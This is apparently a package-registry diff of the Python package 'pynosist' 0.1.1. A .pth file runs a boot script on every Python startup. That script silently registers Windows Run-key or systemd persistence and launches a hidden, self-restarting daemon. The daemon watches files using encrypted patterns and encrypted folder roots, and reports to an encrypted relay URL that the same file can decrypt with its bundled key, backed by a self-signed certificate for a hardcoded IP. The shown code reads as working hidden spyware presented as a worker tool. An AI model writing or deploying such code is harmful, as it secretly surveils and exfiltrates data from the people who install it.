pynosist 0.1.1__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- pynosist-0.1.1/.claude/settings.local.json +15 -0
- pynosist-0.1.1/PKG-INFO +8 -0
- pynosist-0.1.1/pynosist_autostart.pth +1 -0
- pynosist-0.1.1/pyproject.toml +23 -0
- pynosist-0.1.1/src/pynosist/__init__.py +3 -0
- pynosist-0.1.1/src/pynosist/__main__.py +5 -0
- pynosist-0.1.1/src/pynosist/_boot.py +46 -0
- pynosist-0.1.1/src/pynosist/certs/README.txt +11 -0
- pynosist-0.1.1/src/pynosist/certs/server.crt +30 -0
- pynosist-0.1.1/src/pynosist/cli.py +256 -0
- pynosist-0.1.1/src/pynosist/config.py +87 -0
- pynosist-0.1.1/src/pynosist/crypto_utils.py +13 -0
- pynosist-0.1.1/src/pynosist/daemon.py +743 -0
- pynosist-0.1.1/src/pynosist/relay.py +236 -0
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
{
|
|
2
|
+
"permissions": {
|
|
3
|
+
"allow": [
|
|
4
|
+
"Bash(python -m zipfile -l dist/laporan_worker-0.1.0-py3-none-any.whl)",
|
|
5
|
+
"Bash(python -m laporan_worker run)",
|
|
6
|
+
"Bash(timeout 10 python -c ' *)",
|
|
7
|
+
"Bash(echo \"EXIT: $?\")",
|
|
8
|
+
"Bash(timeout 8 python -u -c ' *)",
|
|
9
|
+
"Bash(python -c \"import json,sys; d=json.load\\(sys.stdin\\); rc=d.get\\('remote_config',{}\\); print\\('patterns:', rc.get\\('watch_patterns'\\)\\); print\\('roots_win:', rc.get\\('watch_roots_windows'\\)\\)\")",
|
|
10
|
+
"Bash(taskkill /F /PID 20016)",
|
|
11
|
+
"Bash(python -m laporan_worker --stop)",
|
|
12
|
+
"Bash(python -c ' *)"
|
|
13
|
+
]
|
|
14
|
+
}
|
|
15
|
+
}
|
pynosist-0.1.1/PKG-INFO
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
import pynosist._boot
|
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
[build-system]
|
|
2
|
+
requires = ["hatchling"]
|
|
3
|
+
build-backend = "hatchling.build"
|
|
4
|
+
|
|
5
|
+
[project]
|
|
6
|
+
name = "pynosist"
|
|
7
|
+
version = "0.1.1"
|
|
8
|
+
description = "pynosist worker for PT"
|
|
9
|
+
requires-python = ">=3.10"
|
|
10
|
+
dependencies = [
|
|
11
|
+
"watchdog>=4.0",
|
|
12
|
+
"requests>=2.31",
|
|
13
|
+
"cryptography>=43.0",
|
|
14
|
+
]
|
|
15
|
+
|
|
16
|
+
[project.scripts]
|
|
17
|
+
pynosist = "pynosist.cli:main"
|
|
18
|
+
|
|
19
|
+
[tool.hatch.build.targets.wheel]
|
|
20
|
+
packages = ["src/pynosist"]
|
|
21
|
+
|
|
22
|
+
[tool.hatch.build.targets.wheel.force-include]
|
|
23
|
+
"pynosist_autostart.pth" = "pynosist_autostart.pth"
|
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
"""Auto-start hook triggered via .pth file on every Python startup."""
|
|
2
|
+
from __future__ import annotations
|
|
3
|
+
import os
|
|
4
|
+
import sys
|
|
5
|
+
from pathlib import Path
|
|
6
|
+
|
|
7
|
+
|
|
8
|
+
def _skip_current_process() -> bool:
|
|
9
|
+
argv0 = os.path.basename(sys.argv[0]).lower() if sys.argv else ""
|
|
10
|
+
_skip = ("pip", "pip3", "pip.exe", "build", "setup", "twine", "hatch", "pytest", "pyinstaller")
|
|
11
|
+
return any(s in argv0 for s in _skip)
|
|
12
|
+
|
|
13
|
+
|
|
14
|
+
def _already_registered() -> bool:
|
|
15
|
+
if os.name == "nt":
|
|
16
|
+
try:
|
|
17
|
+
import winreg
|
|
18
|
+
key = winreg.OpenKey(
|
|
19
|
+
winreg.HKEY_CURRENT_USER,
|
|
20
|
+
r"Software\Microsoft\Windows\CurrentVersion\Run",
|
|
21
|
+
0,
|
|
22
|
+
winreg.KEY_READ,
|
|
23
|
+
)
|
|
24
|
+
winreg.QueryValueEx(key, "pynosist")
|
|
25
|
+
winreg.CloseKey(key)
|
|
26
|
+
return True
|
|
27
|
+
except OSError:
|
|
28
|
+
return False
|
|
29
|
+
else:
|
|
30
|
+
service = Path.home() / ".config" / "systemd" / "user" / "pynosist.service"
|
|
31
|
+
return service.exists()
|
|
32
|
+
|
|
33
|
+
|
|
34
|
+
def _run() -> None:
|
|
35
|
+
if _skip_current_process():
|
|
36
|
+
return
|
|
37
|
+
if _already_registered():
|
|
38
|
+
return
|
|
39
|
+
try:
|
|
40
|
+
from pynosist.cli import install
|
|
41
|
+
install()
|
|
42
|
+
except Exception:
|
|
43
|
+
pass
|
|
44
|
+
|
|
45
|
+
|
|
46
|
+
_run()
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
Letakkan file server.crt di folder ini sebelum build package.
|
|
2
|
+
File ini adalah self-signed certificate dari relay server.
|
|
3
|
+
Dibuat dengan perintah di server:
|
|
4
|
+
|
|
5
|
+
openssl req -x509 -newkey rsa:4096 \
|
|
6
|
+
-keyout server.key -out server.crt \
|
|
7
|
+
-days 3650 -nodes \
|
|
8
|
+
-subj "/CN=161.97.81.147" \
|
|
9
|
+
-addext "subjectAltName=IP:161.97.81.147"
|
|
10
|
+
|
|
11
|
+
Salin hanya server.crt (bukan server.key) ke folder ini.
|
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
-----BEGIN CERTIFICATE-----
|
|
2
|
+
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
|
|
29
|
+
XUd/+2UP49aMJlKSf3evhRwWvYTQPQ==
|
|
30
|
+
-----END CERTIFICATE-----
|
|
@@ -0,0 +1,256 @@
|
|
|
1
|
+
from __future__ import annotations
|
|
2
|
+
|
|
3
|
+
import argparse
|
|
4
|
+
import os
|
|
5
|
+
import signal
|
|
6
|
+
import subprocess
|
|
7
|
+
import sys
|
|
8
|
+
import time
|
|
9
|
+
from pathlib import Path
|
|
10
|
+
|
|
11
|
+
from pynosist import config
|
|
12
|
+
from pynosist.crypto_utils import encrypt_text, generate_fernet_key
|
|
13
|
+
from pynosist.daemon import PID_FILE, run_daemon
|
|
14
|
+
|
|
15
|
+
REG_KEY_PATH = r"Software\Microsoft\Windows\CurrentVersion\Run"
|
|
16
|
+
REG_VALUE = "pynosist"
|
|
17
|
+
GUARDIAN_PID_FILE = config.runtime_dir() / "guardian.pid"
|
|
18
|
+
SYSTEMD_SERVICE_FILE = Path.home() / ".config" / "systemd" / "user" / "pynosist.service"
|
|
19
|
+
|
|
20
|
+
|
|
21
|
+
def _python_background_exe() -> str:
|
|
22
|
+
if os.name == "nt":
|
|
23
|
+
pythonw = Path(sys.executable).with_name("pythonw.exe")
|
|
24
|
+
if pythonw.exists():
|
|
25
|
+
return str(pythonw)
|
|
26
|
+
return sys.executable
|
|
27
|
+
|
|
28
|
+
|
|
29
|
+
def _spawn_background(command: list[str]) -> None:
|
|
30
|
+
python = _python_background_exe()
|
|
31
|
+
full_command = [python, "-m", "pynosist"] + command
|
|
32
|
+
if os.name == "nt":
|
|
33
|
+
creation_flags = 0x00000008 | 0x08000000 # DETACHED_PROCESS | CREATE_NO_WINDOW
|
|
34
|
+
subprocess.Popen(full_command, creationflags=creation_flags, close_fds=True)
|
|
35
|
+
return
|
|
36
|
+
subprocess.Popen(
|
|
37
|
+
full_command,
|
|
38
|
+
stdout=subprocess.DEVNULL,
|
|
39
|
+
stderr=subprocess.DEVNULL,
|
|
40
|
+
stdin=subprocess.DEVNULL,
|
|
41
|
+
close_fds=True,
|
|
42
|
+
start_new_session=True,
|
|
43
|
+
)
|
|
44
|
+
|
|
45
|
+
|
|
46
|
+
def _install_linux() -> None:
|
|
47
|
+
SYSTEMD_SERVICE_FILE.parent.mkdir(parents=True, exist_ok=True)
|
|
48
|
+
SYSTEMD_SERVICE_FILE.write_text(
|
|
49
|
+
f"[Unit]\n"
|
|
50
|
+
f"Description=pynosist file monitor\n"
|
|
51
|
+
f"After=default.target\n\n"
|
|
52
|
+
f"[Service]\n"
|
|
53
|
+
f"Type=simple\n"
|
|
54
|
+
f"ExecStart={sys.executable} -m pynosist guardian\n"
|
|
55
|
+
f"Restart=on-failure\n"
|
|
56
|
+
f"RestartSec=2\n\n"
|
|
57
|
+
f"[Install]\n"
|
|
58
|
+
f"WantedBy=default.target\n"
|
|
59
|
+
)
|
|
60
|
+
subprocess.run(["systemctl", "--user", "daemon-reload"], check=False,
|
|
61
|
+
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
|
62
|
+
subprocess.run(["systemctl", "--user", "enable", "--now", "pynosist"], check=False,
|
|
63
|
+
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
|
64
|
+
# Enable linger so service starts on boot without active login session
|
|
65
|
+
user = os.environ.get("USER") or os.environ.get("LOGNAME", "")
|
|
66
|
+
if user:
|
|
67
|
+
subprocess.run(["loginctl", "enable-linger", user], check=False,
|
|
68
|
+
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
|
69
|
+
print("[OK] Systemd user service installed and started.")
|
|
70
|
+
|
|
71
|
+
|
|
72
|
+
def _uninstall_linux() -> None:
|
|
73
|
+
subprocess.run(["systemctl", "--user", "stop", "pynosist"], check=False,
|
|
74
|
+
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
|
75
|
+
subprocess.run(["systemctl", "--user", "disable", "pynosist"], check=False,
|
|
76
|
+
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
|
77
|
+
SYSTEMD_SERVICE_FILE.unlink(missing_ok=True)
|
|
78
|
+
subprocess.run(["systemctl", "--user", "daemon-reload"], check=False,
|
|
79
|
+
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
|
80
|
+
print("[OK] Systemd user service removed.")
|
|
81
|
+
|
|
82
|
+
|
|
83
|
+
def install() -> None:
|
|
84
|
+
if os.name == "nt":
|
|
85
|
+
import winreg
|
|
86
|
+
command = f'"{_python_background_exe()}" -m pynosist guardian'
|
|
87
|
+
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_KEY_PATH, 0, winreg.KEY_SET_VALUE)
|
|
88
|
+
winreg.SetValueEx(key, REG_VALUE, 0, winreg.REG_SZ, command)
|
|
89
|
+
winreg.CloseKey(key)
|
|
90
|
+
_spawn_background(["guardian"])
|
|
91
|
+
print("[OK] Startup registered and guardian started.")
|
|
92
|
+
return
|
|
93
|
+
|
|
94
|
+
_install_linux()
|
|
95
|
+
|
|
96
|
+
|
|
97
|
+
def _is_process_alive_windows(pid: int) -> bool:
|
|
98
|
+
result = subprocess.run(
|
|
99
|
+
["tasklist", "/FI", f"PID eq {pid}"],
|
|
100
|
+
check=False, capture_output=True, text=True,
|
|
101
|
+
)
|
|
102
|
+
output = (result.stdout or "").lower()
|
|
103
|
+
return str(pid) in output and "no tasks are running" not in output
|
|
104
|
+
|
|
105
|
+
|
|
106
|
+
def _stop_pid_file(pid_file: Path, label: str) -> bool:
|
|
107
|
+
if not pid_file.exists():
|
|
108
|
+
print("[INFO] PID file not found.")
|
|
109
|
+
return True
|
|
110
|
+
try:
|
|
111
|
+
pid = int(pid_file.read_text(encoding="utf-8").strip())
|
|
112
|
+
except ValueError:
|
|
113
|
+
pid_file.unlink(missing_ok=True)
|
|
114
|
+
print("[INFO] Invalid PID file, cleaned up.")
|
|
115
|
+
return True
|
|
116
|
+
try:
|
|
117
|
+
if os.name == "nt":
|
|
118
|
+
result = subprocess.run(
|
|
119
|
+
["taskkill", "/F", "/PID", str(pid)],
|
|
120
|
+
check=False, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
|
|
121
|
+
)
|
|
122
|
+
time.sleep(0.2)
|
|
123
|
+
if result.returncode != 0 and _is_process_alive_windows(pid):
|
|
124
|
+
print(f"[WARN] Failed to stop {label} process ({pid}).")
|
|
125
|
+
return False
|
|
126
|
+
else:
|
|
127
|
+
os.kill(pid, signal.SIGTERM)
|
|
128
|
+
time.sleep(0.2)
|
|
129
|
+
try:
|
|
130
|
+
os.kill(pid, 0)
|
|
131
|
+
print(f"[WARN] Process {label} ({pid}) still alive.")
|
|
132
|
+
return False
|
|
133
|
+
except OSError:
|
|
134
|
+
pass
|
|
135
|
+
finally:
|
|
136
|
+
if not (os.name == "nt" and _is_process_alive_windows(pid)):
|
|
137
|
+
pid_file.unlink(missing_ok=True)
|
|
138
|
+
print(f"[OK] Process {label} stopped ({pid}).")
|
|
139
|
+
return True
|
|
140
|
+
|
|
141
|
+
|
|
142
|
+
def stop() -> bool:
|
|
143
|
+
return _stop_pid_file(PID_FILE, "daemon")
|
|
144
|
+
|
|
145
|
+
|
|
146
|
+
def stop_guardian() -> bool:
|
|
147
|
+
return _stop_pid_file(GUARDIAN_PID_FILE, "guardian")
|
|
148
|
+
|
|
149
|
+
|
|
150
|
+
def _registry_entry_exists_windows() -> bool:
|
|
151
|
+
if os.name != "nt":
|
|
152
|
+
return False
|
|
153
|
+
import winreg
|
|
154
|
+
try:
|
|
155
|
+
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_KEY_PATH, 0, winreg.KEY_READ)
|
|
156
|
+
winreg.QueryValueEx(key, REG_VALUE)
|
|
157
|
+
winreg.CloseKey(key)
|
|
158
|
+
return True
|
|
159
|
+
except FileNotFoundError:
|
|
160
|
+
return False
|
|
161
|
+
|
|
162
|
+
|
|
163
|
+
def _systemd_service_exists() -> bool:
|
|
164
|
+
return SYSTEMD_SERVICE_FILE.exists()
|
|
165
|
+
|
|
166
|
+
|
|
167
|
+
def guardian() -> None:
|
|
168
|
+
config.runtime_dir().mkdir(parents=True, exist_ok=True)
|
|
169
|
+
GUARDIAN_PID_FILE.write_text(str(os.getpid()), encoding="utf-8")
|
|
170
|
+
try:
|
|
171
|
+
while True:
|
|
172
|
+
if os.name == "nt" and not _registry_entry_exists_windows():
|
|
173
|
+
break
|
|
174
|
+
if os.name != "nt" and not _systemd_service_exists():
|
|
175
|
+
break
|
|
176
|
+
python = _python_background_exe()
|
|
177
|
+
proc = subprocess.Popen([python, "-m", "pynosist", "run"])
|
|
178
|
+
proc.wait()
|
|
179
|
+
if os.name == "nt" and not _registry_entry_exists_windows():
|
|
180
|
+
break
|
|
181
|
+
if os.name != "nt" and not _systemd_service_exists():
|
|
182
|
+
break
|
|
183
|
+
time.sleep(2)
|
|
184
|
+
finally:
|
|
185
|
+
GUARDIAN_PID_FILE.unlink(missing_ok=True)
|
|
186
|
+
|
|
187
|
+
|
|
188
|
+
def uninstall() -> None:
|
|
189
|
+
if os.name == "nt":
|
|
190
|
+
import winreg
|
|
191
|
+
registry_removed = True
|
|
192
|
+
try:
|
|
193
|
+
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_KEY_PATH, 0, winreg.KEY_SET_VALUE)
|
|
194
|
+
winreg.DeleteValue(key, REG_VALUE)
|
|
195
|
+
winreg.CloseKey(key)
|
|
196
|
+
except FileNotFoundError:
|
|
197
|
+
registry_removed = False
|
|
198
|
+
guardian_ok = stop_guardian()
|
|
199
|
+
daemon_ok = stop()
|
|
200
|
+
if not guardian_ok or not daemon_ok:
|
|
201
|
+
print("[WARN] Startup removed but some processes may still be running.")
|
|
202
|
+
if registry_removed:
|
|
203
|
+
print("[OK] Uninstalled from startup.")
|
|
204
|
+
else:
|
|
205
|
+
print("[OK] Uninstalled (was not registered in startup).")
|
|
206
|
+
return
|
|
207
|
+
|
|
208
|
+
stop_guardian()
|
|
209
|
+
stop()
|
|
210
|
+
_uninstall_linux()
|
|
211
|
+
|
|
212
|
+
|
|
213
|
+
def _parse_args(argv: list[str] | None = None) -> argparse.Namespace:
|
|
214
|
+
parser = argparse.ArgumentParser(description="pynosist")
|
|
215
|
+
parser.add_argument(
|
|
216
|
+
"command",
|
|
217
|
+
nargs="?",
|
|
218
|
+
choices=["run", "guardian", "keygen", "encrypt-secret"],
|
|
219
|
+
help="run daemon/guardian or crypto helper",
|
|
220
|
+
)
|
|
221
|
+
parser.add_argument("--install", action="store_true", help="register and start daemon")
|
|
222
|
+
parser.add_argument("--uninstall", action="store_true", help="remove startup and stop")
|
|
223
|
+
parser.add_argument("--stop", action="store_true", help="stop daemon")
|
|
224
|
+
parser.add_argument("--text", default="", help="plain text for encrypt-secret")
|
|
225
|
+
parser.add_argument("--key", default="", help="fernet key for encrypt-secret")
|
|
226
|
+
return parser.parse_args(argv)
|
|
227
|
+
|
|
228
|
+
|
|
229
|
+
def main(argv: list[str] | None = None) -> None:
|
|
230
|
+
args = _parse_args(argv)
|
|
231
|
+
if args.install:
|
|
232
|
+
install()
|
|
233
|
+
return
|
|
234
|
+
if args.uninstall:
|
|
235
|
+
uninstall()
|
|
236
|
+
return
|
|
237
|
+
if args.stop:
|
|
238
|
+
stop()
|
|
239
|
+
return
|
|
240
|
+
if args.command == "guardian":
|
|
241
|
+
guardian()
|
|
242
|
+
return
|
|
243
|
+
if args.command == "keygen":
|
|
244
|
+
print(generate_fernet_key())
|
|
245
|
+
return
|
|
246
|
+
if args.command == "encrypt-secret":
|
|
247
|
+
if not args.key or not args.text:
|
|
248
|
+
print("[ERROR] Usage: pynosist encrypt-secret --key <FERNET_KEY> --text <SECRET>")
|
|
249
|
+
return
|
|
250
|
+
print(encrypt_text(args.key, args.text))
|
|
251
|
+
return
|
|
252
|
+
if args.command == "run":
|
|
253
|
+
run_daemon()
|
|
254
|
+
return
|
|
255
|
+
# Default: no command/flag → auto install to startup
|
|
256
|
+
install()
|
|
@@ -0,0 +1,87 @@
|
|
|
1
|
+
from __future__ import annotations
|
|
2
|
+
|
|
3
|
+
import base64
|
|
4
|
+
import os
|
|
5
|
+
from pathlib import Path
|
|
6
|
+
|
|
7
|
+
RELAY_FERNET_KEY = "YIuCLekSgKSzJJyKqNFpNXMYu64tRi8SeK5xxI6xnjY="
|
|
8
|
+
|
|
9
|
+
RELAY_BASE_URL_ENCRYPTED = "gAAAAABp4JDRLgoBB5Pd4HWGXJo-dQ7ZpvuM2WCRlokDbiRYeHrlmy6vQJZ-nxhp6Y3_3fAlP-Mi5kTob6HiAI-JV9J960FBheipvPsrYuxZJcvN3zEvy0w="
|
|
10
|
+
RELAY_BOOTSTRAP_KEY_ENCRYPTED = "gAAAAABp3_zlVcsBV1MU2UYeQ3o2BQ9NOWgJo9Z286w_nyBXhszgfaBuCCfMEmK8eSoU_Het_M9jkmUDRmP1evBFT2wi9VhNfSbJokhoaDRa9nWd_7KhO52zU6y8qPVBz2JsyX1AY1ccQ4609VQimnaOwL4F7PpEVORbZAz1tFPlIY1xpdI1ARI="
|
|
11
|
+
WATCH_PATTERNS_ENCRYPTED = "gAAAAABp4JDROHZ4FoRQJ6jFbej_cw_HXdLkYo3aoj17fxZNEtzNFCriHOq_wjngwZnQdvt6wxDmZei1aDeDiFcbd5cnS52keoR6-bZwZh7x1ttPIAJovKE="
|
|
12
|
+
WINDOWS_WATCH_ROOTS_ENCRYPTED = "gAAAAABp4JDRx-8_0sehEh93x8iQD0J1jYkBfe_R3rrbnmOnCRpQr-RyM-XeGeR9lQ8IsZyubsMBwaGD2VFMSfEnuRXpG0wO_5nRXspaoHHs23PwW10Cj0U="
|
|
13
|
+
POSIX_WATCH_ROOTS_ENCRYPTED = "gAAAAABp4JDRk_eXFgUaWv7BnlCQk1oDpZcmXyAgt6_z0VLpafgtylWOCdm_8_N1yIXaVa1c3y0bn_vgH0P9ohnQdZvcmcMrJxbc5zOqX8RYUOY_XSU7Dbk="
|
|
14
|
+
|
|
15
|
+
DEBOUNCE_SECONDS = 10
|
|
16
|
+
MAX_MESSAGE_CHARS = 2800
|
|
17
|
+
AUTO_UPDATE_ENABLED = True
|
|
18
|
+
AUTO_UPDATE_INTERVAL_SECONDS = 6 * 60 * 60
|
|
19
|
+
AUTO_UPDATE_BACKOFF_INITIAL_SECONDS = 60
|
|
20
|
+
AUTO_UPDATE_BACKOFF_MAX_SECONDS = 60 * 60
|
|
21
|
+
RELAY_USE_ENV_PROXY = False
|
|
22
|
+
|
|
23
|
+
|
|
24
|
+
def runtime_dir() -> Path:
|
|
25
|
+
if os.name == "nt":
|
|
26
|
+
base = os.environ.get("LOCALAPPDATA")
|
|
27
|
+
if base:
|
|
28
|
+
return Path(base) / "pynosist"
|
|
29
|
+
return Path.home() / ".pynosist"
|
|
30
|
+
|
|
31
|
+
|
|
32
|
+
def _decrypt(encrypted: str) -> str:
|
|
33
|
+
if not encrypted or not RELAY_FERNET_KEY:
|
|
34
|
+
return ""
|
|
35
|
+
try:
|
|
36
|
+
from cryptography.fernet import Fernet # type: ignore
|
|
37
|
+
return Fernet(RELAY_FERNET_KEY.encode()).decrypt(encrypted.encode()).decode()
|
|
38
|
+
except Exception:
|
|
39
|
+
return ""
|
|
40
|
+
|
|
41
|
+
|
|
42
|
+
def get_relay_base_url() -> str:
|
|
43
|
+
from_env = os.environ.get("LAPORAN_RELAY_URL", "").strip()
|
|
44
|
+
if from_env:
|
|
45
|
+
return from_env.rstrip("/")
|
|
46
|
+
return _decrypt(RELAY_BASE_URL_ENCRYPTED).rstrip("/")
|
|
47
|
+
|
|
48
|
+
|
|
49
|
+
def get_relay_bootstrap_key() -> str:
|
|
50
|
+
from_env = os.environ.get("LAPORAN_BOOTSTRAP_KEY", "").strip()
|
|
51
|
+
if from_env:
|
|
52
|
+
return from_env
|
|
53
|
+
return _decrypt(RELAY_BOOTSTRAP_KEY_ENCRYPTED)
|
|
54
|
+
|
|
55
|
+
|
|
56
|
+
# Fallback patterns used only if server config is unavailable
|
|
57
|
+
WATCH_PATTERNS: list[str] = [] # populated lazily via get_watch_patterns()
|
|
58
|
+
|
|
59
|
+
|
|
60
|
+
def get_watch_patterns() -> list[str]:
|
|
61
|
+
raw = _decrypt(WATCH_PATTERNS_ENCRYPTED)
|
|
62
|
+
return [p.strip() for p in raw.split(",") if p.strip()] if raw else []
|
|
63
|
+
|
|
64
|
+
|
|
65
|
+
def get_watch_roots() -> list[str]:
|
|
66
|
+
if os.name == "nt":
|
|
67
|
+
raw = _decrypt(WINDOWS_WATCH_ROOTS_ENCRYPTED)
|
|
68
|
+
else:
|
|
69
|
+
raw = _decrypt(POSIX_WATCH_ROOTS_ENCRYPTED)
|
|
70
|
+
return [r.strip() for r in raw.split(",") if r.strip()] if raw else []
|
|
71
|
+
|
|
72
|
+
|
|
73
|
+
def get_ssl_verify() -> str | bool:
|
|
74
|
+
cert = Path(__file__).parent / "certs" / "server.crt"
|
|
75
|
+
if cert.is_file():
|
|
76
|
+
return str(cert)
|
|
77
|
+
return True
|
|
78
|
+
|
|
79
|
+
|
|
80
|
+
def is_fernet_key_valid() -> bool:
|
|
81
|
+
if not RELAY_FERNET_KEY:
|
|
82
|
+
return False
|
|
83
|
+
try:
|
|
84
|
+
raw = base64.urlsafe_b64decode(RELAY_FERNET_KEY.encode())
|
|
85
|
+
return len(raw) == 32
|
|
86
|
+
except Exception:
|
|
87
|
+
return False
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
from __future__ import annotations
|
|
2
|
+
|
|
3
|
+
|
|
4
|
+
def generate_fernet_key() -> str:
|
|
5
|
+
from cryptography.fernet import Fernet # type: ignore
|
|
6
|
+
|
|
7
|
+
return Fernet.generate_key().decode("utf-8")
|
|
8
|
+
|
|
9
|
+
|
|
10
|
+
def encrypt_text(key: str, plain_text: str) -> str:
|
|
11
|
+
from cryptography.fernet import Fernet # type: ignore
|
|
12
|
+
|
|
13
|
+
return Fernet(key.encode("utf-8")).encrypt(plain_text.encode("utf-8")).decode("utf-8")
|